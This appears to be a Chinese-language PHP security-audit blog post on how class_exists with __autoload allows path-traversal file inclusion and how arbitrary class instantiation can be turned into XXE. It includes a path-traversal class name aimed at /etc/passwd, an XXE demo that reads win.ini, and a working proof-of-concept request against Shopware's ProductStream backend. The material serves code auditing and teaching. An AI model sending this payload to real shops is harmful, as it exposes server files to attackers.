PHP审计之class_exists与任意实例化漏洞

PHP审计之class_exists与任意实例化漏洞

前言

发现PHP的一些漏洞函数挺有意思，跟着七月火师傅的文章来学习.

class_exists函数

函数说明

class_exists：(PHP 4, PHP 5, PHP 7)

功能 ：检查类是否已定义

定义 ： bool class_exists ( string $class_name[, bool $autoload = true ] )

$class_name 为类的名字，在匹配的时候不区分大小写。默认情况下 $autoload 为 true，当 $autoload 为 true 时，会自动加载本程序中的 __autoload 函数；当 $autoload 为 false 时，则不调用 __autoload 函数。

函数漏洞

class_exists() 函数来判断用户传过来的控制器是否存在，默认情况下，如果程序存在 __autoload 函数，那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数，这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件，当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为： ../../../../etc/passwd 的查找，将查看passwd文件内容

实例分析

结合上面的class_exists函数漏洞， 来看到上面的代码。

接受值过来$controllerName过来然后调用class_exists将该变量传入，而class_exists的$autoload参数值并未进行设置，该参数默认为True,则会自动调用本类中的__autoload函数，这个函数恰巧进行了文件包含，即任意文件包含漏洞。

看到第九行代码，这个位置new了一个接受过来的参数值，则可用实现任意的类实例化。但是在该代码中没有一些能直接在__construct构造函数中实现命令执行或其他操作的类。

所以这里利用SimpleXMLElement类来实现实例化中实现一个XXE。

看到demo

<?php
$xml = '<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&xxe;</description>
   </core>
</catalog>';
$xxe = new SimpleXMLElement($xml);
var_dump($xxe)
?>

//结果：
    object(SimpleXMLElement)#1 (1) { ["core"]=> object(SimpleXMLElement)#2 (7) { ["@attributes"]=> array(1) { ["id"]=> string(7) "test101" } ["author"]=> string(9) "John, Doe" ["title"]=> string(10) "I love XML" ["category"]=> string(9) "Computers" ["price"]=> string(4) "9.99" ["date"]=> string(10) "2018-10-01" ["description"]=> object(SimpleXMLElement)#3 (1) { ["xxe"]=> object(SimpleXMLElement)#4 (1) { ["xxe"]=> string(85) "; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 " } } } }

win.ini内容被读取。

代码审计

这里拿Shopware 来做一个审计

漏洞点在在 engine\Shopware\Controllers\Backend\ProductStream.php的loadPreviewAction方法中。

路由访问则/Backend/ProductStream/loadPreviewAction

看到loadPreviewAction方法代码

    public function loadPreviewAction()
    {
        $conditions = $this->Request()->getParam('conditions');
        $conditions = json_decode($conditions, true);

        $sorting = $this->Request()->getParam('sort');

        $criteria = new Criteria();

        /** @var RepositoryInterface $streamRepo */
        $streamRepo = $this->get('shopware_product_stream.repository');
        $sorting = $streamRepo->unserialize($sorting);

        foreach ($sorting as $sort) {
            $criteria->addSorting($sort);
        }

        $conditions = $streamRepo->unserialize($conditions);

接收sort参数的值然后进行json_decode，而后

这里获取shopware_product_stream.repository内容，然后调用unserialize

    public function unserialize($serializedConditions)
    {
        return $this->reflector->unserialize($serializedConditions, 'Serialization error in Product stream');
    }

跟踪这个unserialize

LogawareReflectionHelper.php的unserialize代码

 public function unserialize($serialized, $errorSource)
    {
        $classes = [];

        foreach ($serialized as $className => $arguments) {
            $className = explode('|', $className);
            $className = $className[0];

            try {
                $classes[] = $this->reflector->createInstanceFromNamedArguments($className, $arguments);
            } catch (\Exception $e) {
                $this->logger->critical($errorSource . ': ' . $e->getMessage());
            }
        }

        return $classes;
    }

遍历$serialized,这个$serialized是我们sort传递并且进行json_deocode解密后的数据。

随后调用createInstanceFromNamedArguments，跟进了一下方法，发现就是反射创建了一个实例化的对象。和Java里面的反射感觉上差不多。

 public function createInstanceFromNamedArguments($className, $arguments)
    {
        $reflectionClass = new \ReflectionClass($className);

        if (!$reflectionClass->getConstructor()) {
            return $reflectionClass->newInstance();
        }

        $constructorParams = $reflectionClass->getConstructor()->getParameters();

        $newParams = [];
        foreach ($constructorParams as $constructorParam) {
            $paramName = $constructorParam->getName();

            if (!isset($arguments[$paramName])) {
                if (!$constructorParam->isOptional()) {
                    throw new \RuntimeException(sprintf("Required constructor Parameter Missing: '$%s'.", $paramName));
                }
                $newParams[] = $constructorParam->getDefaultValue();

                continue;
            }

            $newParams[] = $arguments[$paramName];
        }

        return $reflectionClass->newInstanceArgs($newParams);
    }

分析完以上的，其实显而易见和上面的实例一样是一个任意实例化漏洞。

那么也可以借助SimpleXMLElement类来实现一个XXE的效果，当然也可以去寻找一些__construct函数中有做其他操作例如命令执行或文件读取的也可以利用上。

POC如下：

/backend/ProductStream/loadPreview?_dc=1575439441940&sort={"SimpleXMLElement":{"data":"http://localhost/xxe.xml","options":2,"data_is_url":1,"ns":"","is_prefix":0}}&conditions=%7B%7D&shopId=1&currencyId=1&customerGroupKey=EK&page=1&start=0&limit=25

参考文章

代码审计Day3 - 实例化任意对象漏洞

php代码审计危险函数总结